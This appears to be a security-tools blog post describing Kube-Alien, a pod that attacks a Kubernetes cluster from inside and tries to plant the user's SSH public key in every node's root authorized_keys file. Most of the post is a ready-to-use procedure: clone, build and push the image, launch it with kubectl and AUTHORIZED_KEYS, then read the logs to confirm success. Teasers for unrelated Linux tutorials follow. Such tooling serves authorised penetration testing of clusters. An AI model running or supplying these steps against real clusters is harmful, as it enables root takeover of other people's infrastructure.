Kube-Alien tool launches attack on k8s cluster from within. That means you already need to have an access with permission to deploy pods in a cluster to run it.
After running the kube-alien pod it tries to takeover cluster’s nodes by adding your public key to node’s /root/.ssh/authorized_keys file by using this image https://github.com/nixwizard/dockercloud-authorizedkeys (Can be adjusted using ADD_AUTHKEYS_IMAGE param in config.py) forked from docker/dockercloud-authorizedkeys.
Also Read – Firmware Analysis Toolkit : To Emulate Firmware And Analyse It For Security Vulnerabilities
The attack succeedes if there is a misconfiguration in one of the cluster’s components it goes along the following vectors:
The purpose of this tool
How can k8s cluster be attacked from within in a real life
Kube-alien image should be pushed to your dockerhub(or other registry) before using with this tool.
git clone https://github.com/nixwizard/kube-alien.git
cd kube-alien
docker build -t ka ./
docker tag ka YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
docker push YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka
The AUTHORIZED_KEYS env required to be set to the value of your ssh public key, in case of success the public key will be added to all node’s root’s authorized_keys file.
kubectl run –image=YOUR_DOCKERHUB_ACCOUNT/kube-alien:ka kube-alien –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never
or you may use my image for quick testing purpose:
kubectl run –image=nixwizard/kube-alien kube-alien:ka –env=”AUTHORIZED_KEYS=$(cat ~/.ssh/id_rsa.pub)” –restart Never
Check Kube-alien pod’s logs to see if attack was successful:
kubectl logs $(kubectl get pods| grep alien|cut -f1 -d’ ‘)
The cp command, short for "copy," is the main Linux utility for duplicating files and directories. Whether…
Introduction In digital investigations, images often hold more information than meets the eye. With the…
The cat command short for concatenate, It is a fast and versatile tool for viewing and merging…
What is a Port? A port in networking acts like a gateway that directs data…
The ls command is fundamental for anyone working with Linux. It’s used to display the files and…
The pwd (Print Working Directory) command is essential for navigating the Linux filesystem. It instantly shows your…